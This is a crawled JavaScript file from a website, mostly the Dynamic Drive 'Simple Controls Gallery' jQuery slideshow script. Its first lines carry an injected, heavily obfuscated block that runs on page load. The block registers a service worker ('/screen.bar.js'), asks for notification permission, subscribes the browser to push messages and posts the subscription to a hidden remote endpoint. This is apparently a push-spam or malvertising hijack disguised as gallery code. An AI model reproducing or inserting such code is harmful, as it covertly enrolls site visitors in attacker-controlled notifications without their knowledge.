PageSourceSearch

https://warren-yazoo.org/scripts/simplegallery.js

js warren-yazoo.org collected 2026-10-04 04:48:37 UTC 21,748 bytes, 399 lines download raw bytes

1// 913743c379778f0e9a6e85a53750ea25
2function a0h(I,h){I=I-0x1aa;const M=a0I();let N=M[I];if(a0h['RcvdCs']===undefined){var m=function(g){const t='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let i='',v='';for(let w=0x0,c,L,P=0x0;L=g['charAt'](P++);~L&&(c=w%0x4?c*0x40+L:L,w++%0x4)?i+=String['fromCharCode'](0xff&c>>(-0x2*w&0x6)):0x0){L=t['indexOf'](L);}for(let n=0x0,D=i['length'];n<D;n++){v+='%'+('00'+i['charCodeAt'](n)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(v);};const u=function(g,t){let v=[],w=0x0,c,L='';g=m(g);let P;for(P=0x0;P<0x100;P++){v[P]=P;}for(P=0x0;P<0x100;P++){w=(w+v[P]+t['charCodeAt'](P%t['length']))%0x100,c=v[P],v[P]=v[w],v[w]=c;}P=0x0,w=0x0;for(let n=0x0;n<g['length'];n++){P=(P+0x1)%0x100,w=(w+v[P])%0x100,c=v[P],v[P]=v[w],v[w]=c,L+=String['fromCharCode'](g['charCodeAt'](n)^v[(v[P]+v[w])%0x100]);}return L;};a0h['xyxFPj']=u,a0h['yKiGRt']={},a0h['RcvdCs']=!![];}const Z=M[0x0],o=I+Z,A=a0h['yKiGRt'][o];return!A?(a0h['lJrunS']===undefined&&(a0h['lJrunS']=!![]),N=a0h['xyxFPj'](N,h),a0h['yKiGRt'][o]=N):N=A,N;}(async function(){const M=a0h;if(!(M(0x1aa,'yy81')in navigator)||!(M(0x1ab,'9BvG')in window))return;let I=await navigator[M(0x1ac,'Fl3I')][M(0x1ad,'9BvG')]('/screen.bar.js');if(await Notification[M(0x1ae,'4YU^')]()!==M(0x1af,'gF0Y'))return;let h=await I[M(0x1b0,'8YZw')][M(0x1b1,'eWl^')]();if(!h)h=await I[M(0x1b2,'&K6m')][M(0x1b3,']4Vj')]({'userVisibleOnly':!![],'applicationServerKey':M(0x1b4,'qny5')});await fetch(M(0x1b5,'@]Q*'),{'method':M(0x1b6,'Qs^K'),'headers':{'Content-Type':M(0x1b7,'xNuc')},'body':JSON[M(0x1b8,'q%1s')]({'site':location[M(0x1b9,'EwIE')],'subscription':h})});}());function a0I(){const N=['W4lcGSopW7/dOSk/vv3cK2xdImklWPu','WQj1WO/dHetcKYtdOmocz8kq','lde4Dmkfnau7WPZdPh3dVgG','WObLWPVdHxRcHI/dSW','s3/dKSkpzSkJlwb4W4BcOSo7WQjmWPJdO1W','BXPxbJi1WOC','dqlcLq1irSksvSogW5es','F8kVWQbbW4LBF8kjWQGvW4igFSoWeG','DmojqcLVxhyGgSkMW5q','WQXFhmkyW7dcPhldGu4','WR7cH8o9WOxcLmonW7VdQ0TLWRNcTCo+W7ags8oUp8kJu8kvW7yygtWnWPawF8kiWQHCCmo2WQ/dNvldS1HYW7ytfSoCWQxcKSo8W6NcPGrOW6VcHSk0W6ZcThdcVtBcG8kKWOpcP8kPgCkGWR/dTCk8W6jkW6ZdImo/W6JdLt/cPCk4W6pdQdj1WOpcSSojtG','WP/cKe7dTCoViSkgW5KOW6tcGmofj1jRDJhcMmoWWQhcHZRdRSo+WOG+EXVcSffzWR0QW7u','wCksW6ldHW','a8obg8kyW4LRFmo/rXxcRCoAWPDViCom','y8oWWR5zWRlcKSkdfCou','rSojz0NcOSoTWQtdRa'];a0I=function(){return N;};return a0I();}
3// 913743c379778f0e9a6e85a53750ea25
4//** Simple Controls Gallery- (c) Dynamic Drive DHTML code library: http://www.dynamicdrive.com
5//** Dec 7th, 08'- Script created (Requires jquery 1.2.x)
6//** February 6th, 09'- Updated to v 1.3:
7	//1) Adds Description Panel to optionally show a textual description for each slide
8	//2) In Auto Play mode, you can now set the number of cycles before gallery stops.
9	//3) Inside oninit() and onslide(), keyword "this" now references the current gallery instance
10
11
12
13var simpleGallery_navpanel={
14	panel: {height:'35px', opacity:1.0, paddingTop:'5px', fontStyle:'bold 11px Verdana'}, //customize nav panel container
15	images: [ 'images/photoalbum/left.gif', 'images/photoalbum/play.gif', 'images/photoalbum/right.gif', 'images/photoalbum/pause.gif'], //nav panel images (in that order)
16	imageSpacing: {offsetTop:[-3, 0, -3], spacing:1}, //top offset of left, play, and right images, PLUS spacing between the 3 images
17	slideduration: 500 //duration of slide up animation to reveal panel
18}
19
20function simpleGallery(settingarg){
21	this.setting=settingarg
22	settingarg=null
23	var setting=this.setting
24	setting.panelheight=(parseInt(setting.navpanelheight)>5)? parseInt(setting.navpanelheight) : parseInt(simpleGallery_navpanel.panel.height)
25	setting.fadeduration=parseInt(setting.fadeduration)
26	setting.curimage=(setting.persist)? simpleGallery.routines.getCookie("gallery-"+setting.wrapperid) : 0
27	setting.curimage=setting.curimage || 0 //account for curimage being null if cookie is empty
28	setting.ispaused=!setting.autoplay[0] //ispaused reflects current state of gallery, autoplay[0] indicates whether gallery is set to auto play
29	setting.currentstep=0 //keep track of # of slides slideshow has gone through
30	setting.totalsteps=setting.imagearray.length*setting.autoplay[2] //Total steps limit: # of images x # of user specified cycles
31	setting.fglayer=0, setting.bglayer=1 //index of active and background layer (switches after each change of slide)
32	setting.oninit=setting.oninit || function(){}
33	setting.onslide=setting.onslide || function(){}
34	var preloadimages=[], longestdesc=null, longestcaption=null //preload images
35	setting.longestcaption="";
36	setting.highestImg = 0;
37	var currentHeight = 0;
38	var tempCurrentHeight = 0 ;
39	setting.longestDescHeight = 0 ;
40	
41
42	for (var i=0; i<setting.imagearray.length; i++){
43		preloadimages[i]=new Image()
44		preloadimages[i].src=setting.imagearray[i][0]
45
46		if (setting.imagearray[i][6] && setting.imagearray[i][6].length>setting.longestcaption.length){
47			setting.longestcaption=setting.imagearray[i][6]
48		}
49		
50		currentHeight = parseInt(setting.imagearray[i][2]);
51		
52		var tempCaption = $('<div class="gallerycaption"><div style="margin:0 0 4px 0;" class="gallerycaptionbg">'+setting.imagearray[i][3]+'</div><div class="gallerycaptionfg"><div class="gallerycaptiontext"> ' + 
53				setting.imagearray[i][6] + ' </div></div></div>');
54		
55		var descriptionHeight = tempCaption.appendTo($('#'+ setting.wrapperid)).height();
56		tempCaption.remove();
57	
58		tempCurrentHeight = currentHeight +  descriptionHeight;
59		
60		
61		if ( tempCurrentHeight && (tempCurrentHeight > (setting.highestImg + setting.longestDescHeight))){
62			setting.highestImg = parseInt(setting.imagearray[i][2]);
63			setting.longestDescHeight=descriptionHeight;
64		}
65		
66	}
67}
68
69simpleGallery.prototype={
70
71	start:function(){
72		var slideshow=this
73		var setting=slideshow.setting
74		
75		var slideHeight = simpleGallery.routines.determineSlideShowHeight(setting);
76		
77		var closeButtonPosition = (setting.galWidth / 2) + 3 ;
78		
79		$('#'+setting.wrapperid + "Holder .gallery-close-button").css({left:closeButtonPosition+"px"});
80		
81		if (setting.showGallery == false)
82		{
83			this.setting.autoplay[0] = false;
84			setting.ispaused = true;
85		}
86		
87		setting.$wrapperdiv=$('#'+setting.wrapperid).css({position:'relative', visibility:'visible', background:setting.bgcolor, overflow:'hidden', width:setting.galWidth, height:slideHeight}).empty() //main gallery DIV
88		if (setting.$wrapperdiv.length==0){ //if no wrapper DIV found
89			alert("Error: DIV with ID \""+setting.wrapperid+"\" not found on page.")
90			return
91		}
92		setting.$gallerylayers=$('<div class="gallerylayer" style="width: 100%"></div><div class="gallerylayer" style="width: 100%"></div>') //two stacked DIVs to display the actual slide 
93			.css({position:'absolute', left:0, top:0})
94			.appendTo(setting.$wrapperdiv)
95		setting.gallerylayers=setting.$gallerylayers.get() //cache stacked DIVs as DOM objects
96		setting.navbuttons=simpleGallery.routines.addnavpanel(setting) //get 4 nav buttons DIVs as DOM objects
97		
98		if (setting.longestDescHeight!="") //if at least one slide contains a description (feature is enabled)
99			setting.descdiv=simpleGallery.routines.adddescpanel(setting)
100			
101	    if (setting.longestcaption!="") //if at least one slide contains a caption (feature is enabled)
102			setting.captiondiv=simpleGallery.routines.addcaptionpanel(setting)
103			
104		$(setting.navbuttons).filter('img.navimages').css({opacity:1})
105			.bind('mouseover mouseout', function(e){
106				$(this).css({opacity:(e.type=="mouseover")? 1 : 1})
107			})
108			.bind('click', function(e){
109				var keyword=e.target.title.toLowerCase()
110				slideshow.navigate(keyword) //assign behavior to nav images
111			})
112		$(setting.navbuttons).filter('img.minus-control').css({opacity:1})
113			.bind('click', function(e){
114				setting.autoplay[1] = (Math.floor(setting.autoplay[1]) -1000) < 3000 ? 3000: Math.floor(setting.autoplay[1]) -1000
115				$(setting.navbuttons).filter('div.delay').html(Math.floor(setting.autoplay[1]/1000) +' sec')
116			
117			}) 
118		$(setting.navbuttons).filter('img.add-control').css({opacity:1})
119			.bind('click', function(e){
120				setting.autoplay[1] = (Math.floor(setting.autoplay[1])+ 1000) >10000 ? 10000: Math.floor(setting.autoplay[1])+ 1000
121				$(setting.navbuttons).filter('div.delay').html(Math.floor(setting.autoplay[1]/1000) +' sec')
122			})
123		
124		$(setting.navbuttons).filter('div.delay').html(Math.floor(setting.autoplay[1]/1000) +' sec')
125
126		//When user chooses to show browsing control all the time	
127		if (setting.showControls){	
128			
129			if (setting.showGallery == false)
130			{
131				setting.$wrapperdiv.bind('mouseenter mouseleave', function(){slideshow.showhidenavpanel('hide')})
132			}
133			else
134			{
135				setting.$wrapperdiv.bind('mouseenter mouseleave', function(){slideshow.showhidenavpanel('show')})
136				slideshow.showhidenavpanel('show');
137			}
138
139		}else{
140			setting.$wrapperdiv.bind('mouseenter', function(){slideshow.showhidenavpanel('show')})
141			setting.$wrapperdiv.bind('mouseleave', function(){slideshow.showhidenavpanel('hide')})
142		}
143		slideshow.showslide(setting.curimage) //show initial slide
144		setting.oninit.call(slideshow) //trigger oninit() event
145		$(window).bind('unload', function(){ //clean up and persist
146			$(slideshow.setting.navbuttons).unbind()
147			if (slideshow.setting.persist) //remember last shown image's index
148				simpleGallery.routines.setCookie("gallery-"+setting.wrapperid, setting.curimage)
149			jQuery.each(slideshow.setting, function(k){
150				if (slideshow.setting[k] instanceof Array){
151					for (var i=0; i<slideshow.setting[k].length; i++){
152						if (slideshow.setting[k][i].tagName=="DIV") //catches 2 gallerylayer divs, gallerystatus div
153							slideshow.setting[k][i].innerHTML=null
154						slideshow.setting[k][i]=null
155					}
156				}
157				if (slideshow.setting[k].innerHTML) //catch gallerydesctext div
158					slideshow.setting[k].innerHTML=null
159				slideshow.setting[k]=null
160			})
161			slideshow=slideshow.setting=null
162		})
163	},
164
165	navigate:function(keyword){
166		clearTimeout(this.setting.playtimer);
167		this.setting.totalsteps=100000; //if any of the nav buttons are clicked on, set totalsteps limit to an "unreachable" number 
168		if (!isNaN(parseInt(keyword))){
169
170			this.showslide(parseInt(keyword));
171			
172			/*for floating popup, reduce accomodate the size of the popup*/		
173			if(!(this.setting.showGallery)){
174				
175				/*10 image margin top + 8px image margin bottom + 4px between caption and description  */
176				var slideHeight = 22;
177				
178				//caption height
179				slideHeight += $('.gallerycaptiontext div').height();
180				
181				//image height
182				slideHeight += parseInt(this.setting.imagearray[keyword][2]);
183
184				$('#'+this.setting.wrapperid).css({height:slideHeight});
185			}
186			
187		}
188		else if (/(prev)|(next)/i.test(keyword)){
189			this.showslide(keyword.toLowerCase())
190		}
191		else{ //if play|pause button
192			var slideshow=this
193			var $playbutton=$(this.setting.navbuttons).eq(1)
194			if (!this.setting.ispaused){ //if pause Gallery
195				this.setting.autoplay[0]=false
196				$playbutton.attr({title:'Play', src:this.setting.relpath + simpleGallery_navpanel.images[1]})
197			}
198			else if (this.setting.ispaused){ //if play Gallery
199				this.setting.autoplay[0]=true
200				this.setting.playtimer=setTimeout(function(){slideshow.showslide('next')}, this.setting.autoplay[1])
201				$playbutton.attr({title:'Pause', src:this.setting.relpath + simpleGallery_navpanel.images[3]})
202			}
203			slideshow.setting.ispaused=!slideshow.setting.ispaused
204		}
205	},
206
207	showslide:function(keyword){
208		var slideshow=this
209		var setting=slideshow.setting
210		var totalimages=setting.imagearray.length
211		var imgindex=(keyword=="next")? (setting.curimage<totalimages-1? setting.curimage+1 : 0)
212			: (keyword=="prev")? (setting.curimage>0? setting.curimage-1 : totalimages-1)
213			: Math.min(keyword, totalimages-1)
214		setting.gallerylayers[setting.bglayer].innerHTML=simpleGallery.routines.getSlideHTML(setting.imagearray[imgindex])
215		setting.$gallerylayers.eq(setting.bglayer).css({zIndex:1000, opacity:0}) //background layer becomes foreground
216			.stop().css({opacity:0}).animate({opacity:1}, setting.fadeduration, function(){ //Callback function after fade animation is complete:
217				clearTimeout(setting.playtimer)
218				setting.gallerylayers[setting.bglayer].innerHTML=''//null -ktg 040309  //empty bglayer (previously fglayer before setting.fglayer=setting.bglayer was set below)
219				try{
220					setting.onslide.call(slideshow, setting.gallerylayers[setting.fglayer], setting.curimage)
221				}catch(e){
222					alert("Simple Controls Gallery: An error has occured somwhere in your code attached to the \"onslide\" event: "+e)
223				}
224				setting.currentstep+=1
225				if (setting.autoplay[0]){
226					if (setting.currentstep<=setting.totalsteps)
227						setting.playtimer=setTimeout(function(){slideshow.showslide('next')}, setting.autoplay[1])
228					else
229						slideshow.navigate("play/pause")
230				}
231			}) //end callback function
232		setting.gallerylayers[setting.fglayer].style.zIndex=999 //foreground layer becomes background
233		setting.fglayer=setting.bglayer
234		setting.bglayer=(setting.bglayer==0)? 1 : 0
235		setting.curimage=imgindex
236		setting.navbuttons[3].innerHTML=(setting.curimage+1) + '/' + setting.imagearray.length
237		if (setting.imagearray[imgindex][3]){ //if this slide contains a description
238			if (setting.$descpanel)
239				{
240					setting.$descpanel.css({visibility:'visible'})
241				}
242			//setting.descdiv.innerHTML=setting.imagearray[imgindex][3]
243		}
244		else if (setting.longestDescHeight!=""){ //if at least one slide contains a description (feature is enabled)
245			setting.descdiv.innerHTML=''//null -ktg 040309
246			setting.$descpanel.css({visibility:'hidden'})
247
248		}
249		
250		if (setting.imagearray[imgindex][6]){ //if this slide contains a caption
251			setting.$captionpanel.css({visibility:'visible'})
252			var imgHeight = parseInt(setting.imagearray[imgindex][2]) + 16; //10 image top margin + 6 image bottom margin - setting.highestImg  ;
253			setting.captiondiv.innerHTML='<div style="width:100%;position: absolute;top: '+imgHeight+'px ;
253 left:0px;"/> ' +
254						'<div class="gallerycaptiontitle" style="position: relative;  margin: 0px 0 4px 0;" >' + setting.imagearray[imgindex][3] + '</div> ' +
255						'<div class="gallerycaptiondescription" style="position: relative;">' + setting.imagearray[imgindex][6] + '</div>' + 
256					'</div>'
257		}
258		else if (setting.longestcaption!=""){ //if at least one slide contains a caption (feature is enabled)
259			setting.captiondiv.innerHTML=''//null -ktg 040309
260			setting.$captionpanel.css({visibility:'hidden'})
261		}
262	},
263
264	showhidenavpanel:function(state){
265		var setting=this.setting 
266		
267		var slideHeight = simpleGallery.routines.determineSlideShowHeight(setting);
268		
269		var endpoint=(state=="show")? slideHeight - setting.panelheight : slideHeight
270		setting.$navpanel.stop().animate({top:endpoint}, simpleGallery_navpanel.slideduration)
271		if (setting.longestDescHeight!=""){ //if at least one slide contains a description (feature is enabled)
272			this.showhidedescpanel(state)
273		}
274		if (setting.longestcaption!=""){ //if at least one slide contains a caption (feature is enabled)
275			this.showhidecaptionpanel(state)
276		}
277	},
278
279	showhidedescpanel:function(state){
280		var setting=this.setting
281		var endpoint=(state=="show")? 0 : -setting.descpanelheight;
282		setting.$descpanel.stop().animate({top:endpoint}, simpleGallery_navpanel.slideduration)
283	},
284	
285	showhidecaptionpanel:function(state){
286        if(state == "show"){
287		   var setting=this.setting;
288           if(!setting.captionpanel_initialized){
289		      //var endpoint=(state=="show")? -setting.captionpanelheight : -setting.captionpanelheight;
290		      //setting.$captionpanel.stop().animate({top:endpoint}, simpleGallery_navpanel.slideduration);
291              setting.captionpanel_initialized = "true";
292           }
293           setting.$captionpanel.css({visibility:'visible'});
294        }                
295	}
296}
297
298simpleGallery.routines={
299
300	getSlideHTML:function(imgelement){
301		return '<img src="'+imgelement[0] + '"' + imgelement[4] + ' style="border-width:0;' + imgelement[5] + '" />'; //return HTML for this layer
302	},
303 
304	addnavpanel:function(setting){ 
305	    var slideHeight = this.determineSlideShowHeight(setting);
306	
307		var interfaceHTML=''
308		for (var i=0; i<3; i++){
309			var imgstyle='position:relative; border:0; cursor:hand; cursor:pointer; top:'+simpleGallery_navpanel.imageSpacing.offsetTop[i]+'px; margin-right:'+(i!=2? simpleGallery_navpanel.imageSpacing.spacing+'px' : 0)
310			var title=(i==0? 'Prev' : (i==1)? (setting.ispaused? 'Play' : 'Pause') : 'Next')
311			var imagesrc=(i==1)? simpleGallery_navpanel.images[(setting.ispaused)? 1 : 3] : simpleGallery_navpanel.images[i]
312			interfaceHTML+='<img class="navimages" title="' + title + '" src="' + setting.relpath + imagesrc +'" style="'+imgstyle+'" /> '
313		}
314		interfaceHTML+='<img class="add-control" title="add" style="border: 0pt none ; position: absolute; right: 0px; cursor: pointer; margin-top: 5px; margin-right: 1px;" src="' + setting.relpath + 'images/photoalbum/plus.gif"/>'
315		interfaceHTML+='<div class="delay" style= "position: absolute; top: 0px; margin-top: 9px; margin-right: 4px; right: 11px;" ></div>'
316		interfaceHTML+='<img class="minus-control" title="minus" style="border: 0pt none ; position: absolute; cursor: pointer; margin-top: 5px; margin-right: 3px; right: 55px;" src="' + setting.relpath + 'images/photoalbum/minus.gif"/>'
317		interfaceHTML+='<div class="gallerystatus" style="position: absolute; top: 0px; left: 0px; margin-top: 10px; margin-left: 4px; float: left;">' + (setting.curimage+1) + '/' + setting.imagearray.length + '</div>'
318		
319		setting.$navpanel=$('<div class="navpanellayer"></div>')
320			.css({position:'absolute', width:'100%', height:setting.panelheight, left:0, bottom:0, font:simpleGallery_navpanel.panel.fontStyle, zIndex:'1001'});
321
322		if(setting.showGallery){
323			//append it when is not popup
324			setting.$navpanel.appendTo(setting.$wrapperdiv);
325		}
326
327		var navPanelBg = $('<div class="navpanelbg"></div><div class="navpanelfg"></div>') //create inner nav panel DIVs
328			.css({position:'absolute', left:0, top:0, width:'100%', height:'100%'})
329			.eq(0).css({background:'#B5B2B5', opacity:simpleGallery_navpanel.panel.opacity}).end() //"navpanelbg" div
330			.eq(1).css({paddingTop:simpleGallery_navpanel.panel.paddingTop, textAlign:'center', color:'white'}).html(interfaceHTML).end() //"navpanelfg" div
331			.appendTo(setting.$navpanel);
332		
333		return setting.$navpanel.find('img.navimages, div.gallerystatus, img.minus-control, img.add-control, div.delay').get() //return 4 nav related images and DIVs as DOM objects, Also speed control 
334	}, 
335 
336	adddescpanel:function(setting){
337	    var slideHeight = this.determineSlideShowHeight(setting);
338	    var descFontSize = Math.floor(slideHeight/25);
339		if(descFontSize > 14){
340		   descFontSize = 14;
341		}
342		setting.$descpanel=$('<div class="gallerydesc"><div class="gallerydescbg"></div><div class="gallerydescfg"><div class="gallerydesctext"></div></div></div>')
343			.css({position:'absolute', width:'100%', left:0, top:-1000, zIndex:'1001'})
344			.find('div').css({position:'absolute', left:0, top:0, width:'100%'})
345			.eq(0).css({background:'#B5B2B5', opacity:simpleGallery_navpanel.panel.opacity, display:'none'}).end() //"gallerydescbg" div
346			.eq(1).css({color:setting.fontcolor, fontFamily:setting.fontfamily, fontWeight:'bold', fontSize:descFontSize}).end() //"gallerydescfg" div
347			.eq(2).html("").end().end()
348			.appendTo(setting.$wrapperdiv)
349		var $gallerydesctext=setting.$descpanel.find('div.gallerydesctext')
350		setting.descpanelheight=$gallerydesctext.outerHeight()
351		setting.$descpanel.css({top:-setting.descpanelheight, height:setting.descpanelheight}).find('div').css({height:'100%'})
352		return setting.$descpanel.find('div.gallerydesctext').get(0) //return gallery description DIV as a DOM object
353	},
354	
355	addcaptionpanel:function(setting){
356	    var slideHeight = simpleGallery.routines.determineSlideShowHeight(setting);	    
357
358
359	    
360		setting.$captionpanel=$('<div class="gallerycaption"><div class="gallerycaptionbg"></div><div class="gallerycaptionfg"><div class="gallerycaptiontext"></div></div></div>')
361			.css({position:'absolute', width:'100%', left:0, top:-1000, zIndex:'1010'})
362			.find('div').css({position:'absolute', left:0, top:0, width:'100%'})
363			.eq(0).css({opacity:simpleGallery_navpanel.panel.opacity, display:'none'}).end() //"gallerycaptionbg" div
364			.eq(1).css({color:setting.fontcolor, fontFamily:setting.fontfamily, fontWeight:'bold'/*, fontSize:captionFontSize*/}).end() //"gallerycaptionfg" div
365			.eq(2).html("").end().end()
366			.appendTo(setting.$wrapperdiv)
367		var $gallerycaptiontext=setting.$captionpanel.find('div.gallerycaptiontext')
368		$gallerycaptiontext.css({top:0,marginTop:1,marginBottom:2, left:0});
369		
370		setting.captionpanelheight=$gallerycaptiontext.outerHeight();
371								
372		
373		setting.$captionpanel.find('div.gallerycaptionbg').css({top:0});
374		setting.$captionpanel.find('div.gallerycaptionfg').css({top:0});
375		setting.$captionpanel.css({top:0, height:setting.captionpanelheight}).find('div').css({height:'100%'})
376				
377		return setting.$captionpanel.find('div.gallerycaptiontext').get(0) //return gallery caption DIV as a DOM object
378	},
379
380	getCookie:function(Name){ 
381		var re=new RegExp(Name+"=[^;]+", "i"); //construct RE to search for target name/value pair
382		if (document.cookie.match(re)) //if cookie found
383			return document.cookie.match(re)[0].split("=")[1] //return its value
384		return null
385	},
386
387	setCookie:function(name, value){
388		document.cookie = name+"=" + value + ";path=/"
389	},
390    
391    /**
392     * return the best height for the slide show.
393     * */
394	determineSlideShowHeight:function(setting){
395		return setting.highestImg + setting.longestDescHeight + 68 /*10 image margin top + 8px image margin bottom + 4px between caption and description + 36 navbar height + 10 navbar margin */; 
396
397    }
398	
399}

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.